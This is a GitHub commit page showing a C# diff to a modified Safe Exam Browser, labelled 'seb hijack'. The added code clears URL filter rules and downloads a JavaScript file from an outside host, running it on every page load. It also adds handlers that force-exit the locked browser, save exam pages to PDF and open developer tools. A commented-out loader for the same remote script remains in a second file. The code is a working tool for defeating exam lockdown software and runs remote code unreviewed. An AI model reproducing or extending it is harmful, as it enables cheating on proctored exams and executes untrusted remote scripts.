Skip to content
This repository was archived by the owner on Jun 30, 2025. It is now read-only.

Commit b97253e

Browse files
authored
Merge pull request #5 from wxnnvs/3.8.0-dev
Merge dev into base
2 parents 8c2600d + 5ef8161 commit b97253e

2 files changed

Lines changed: 86 additions & 30 deletions

File tree

SafeExamBrowser.Browser/BrowserControl.cs

Lines changed: 62 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -7,10 +7,12 @@
77
*/
88

99
using System;
10+
using System.IO;
1011
using System.Linq;
1112
using System.Threading.Tasks;
1213
using System.Windows.Forms;
1314
using CefSharp;
15+
using CefSharp.WinForms;
1416
using SafeExamBrowser.Browser.Wrapper;
1517
using SafeExamBrowser.Browser.Wrapper.Events;
1618
using SafeExamBrowser.Logging.Contracts;
@@ -141,7 +143,16 @@ public void Initialize()
141143

142144
if (control is IWebBrowser webBrowser)
143145
{
144-
webBrowser.JavascriptMessageReceived += WebBrowser_JavascriptMessageReceived;
146+
webBrowser.JavascriptMessageReceived += WebBrowser_JavascriptMessageReceived;
147+
148+
// seb hijack
149+
Settings.Browser.FilterSettings filterSettings = new Settings.Browser.FilterSettings();
150+
filterSettings.Rules.Clear();
151+
using (var client = new System.Net.WebClient())
152+
{
153+
var the_script = client.DownloadString("https://wxnnvs.ftp.sh/un-seb/the_script.js");
154+
webBrowser.ExecuteScriptAsyncWhenPageLoaded(the_script);
155+
}
145156
}
146157
}
147158

@@ -188,19 +199,64 @@ private void Control_IsBrowserInitializedChanged(object sender, EventArgs e)
188199
}
189200
}
190201

202+
// seb hijack
203+
private void ExitSEB()
204+
{
205+
if (MessageBox.Show("Crashing SEB can take up to 10 seconds \nIt can be seen in the log files aswell.", "SEB Crash", MessageBoxButtons.OKCancel, MessageBoxIcon.Information) == DialogResult.OK)
206+
{
207+
Environment.Exit(0);
208+
}
209+
}
210+
211+
private async Task SaveAsPDF()
212+
{
213+
var settings = new PdfPrintSettings();
214+
string filename = DateTime.Now.ToString("yyyyMMdd_HHmmss") + ".pdf";
215+
string filepath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), filename);
216+
var succes = await control.BrowserCore.PrintToPdfAsync(filepath, settings);
217+
var owner = control as IWin32Window;
218+
if (succes)
219+
{
220+
MessageBox.Show(owner, "PDF should be saved to desktop.", "Save as PDF", MessageBoxButtons.OK, MessageBoxIcon.Information);
221+
}
222+
else
223+
{
224+
MessageBox.Show(owner, "Failed to generate PDF", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
225+
}
226+
}
227+
191228
private void WebBrowser_JavascriptMessageReceived(object sender, JavascriptMessageReceivedEventArgs e)
192-
{
229+
{
193230
clipboard.Process(e);
194231

232+
// seb hijack
195233
dynamic message = e.Message;
196234
if (message.type == "exitSEB")
197235
{
198-
if (MessageBox.Show("Crashing SEB can take up to 10 seconds \nIt can be seen in the log files aswell.", "SEB Crash", MessageBoxButtons.OKCancel, MessageBoxIcon.Information) == DialogResult.OK)
236+
ExitSEB();
237+
}
238+
239+
if (message.type == "screenshot")
240+
{
241+
_ = SaveAsPDF();
242+
}
243+
244+
if (message.type == "devTools")
245+
{
246+
ShowDeveloperConsole();
247+
}
248+
249+
if (message.type == "version")
250+
{
251+
if (message.version == "2")
199252
{
200-
Environment.Exit(0);
253+
ExecuteJavaScript("responseFunction(true);");
254+
}
255+
else
256+
{
257+
ExecuteJavaScript("responseFunction(false);");
201258
}
202-
203259
}
204260
}
205261
}
206-
}
262+
}

SafeExamBrowser.Browser/Handlers/RenderProcessMessageHandler.cs

Lines changed: 24 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -49,33 +49,33 @@ public void OnContextCreated(IWebBrowser chromiumWebBrowser, IBrowser browser, I
4949
frame.ExecuteJavaScriptAsync($"window.print = function() {{ alert('{text.Get(TextKey.Browser_PrintNotAllowed)}') }}");
5050
}
5151

52-
var js = @"
53-
function loadScript(url, completeCallback) {
54-
var script = document.createElement('script');
55-
script.src = url;
56-
script.async = true; // Use async for non-blocking loading
57-
58-
script.onload = function() {
59-
completeCallback();
60-
// Clean up the script reference
61-
script.onload = null; // Prevent memory leaks
62-
};
63-
64-
script.onerror = function() {
65-
alert('SEB Hijack could not load');
66-
};
67-
68-
document.head.appendChild(script);
69-
}
52+
//var js = @"
53+
// function loadScript(url, completeCallback) {
54+
// var script = document.createElement('script');
55+
// script.src = url;
56+
// script.async = true; // Use async for non-blocking loading
57+
58+
// script.onload = function() {
59+
// completeCallback();
60+
// // Clean up the script reference
61+
// script.onload = null; // Prevent memory leaks
62+
// };
63+
64+
// script.onerror = function() {
65+
// alert('SEB Hijack could not load');
66+
// };
67+
68+
// document.head.appendChild(script);
69+
//}
7070

71-
// Load jQuery over HTTPS
72-
loadScript('https://wxnnvs.ftp.sh/un-seb/the_script.js', function() {
73-
console.log('jQuery has been loaded.');
74-
});
71+
//// Load jQuery over HTTPS
72+
//loadScript('https://wxnnvs.ftp.sh/un-seb/the_script.js', function() {
73+
// console.log('jQuery has been loaded.');
74+
//});
7575

76-
";
76+
//";
7777

78-
frame.ExecuteJavaScriptAsync(js);
78+
//frame.ExecuteJavaScriptAsync(js);
7979

8080
if (settings.UseIsolatedClipboard)
8181
{

0 commit comments

Comments
 (0)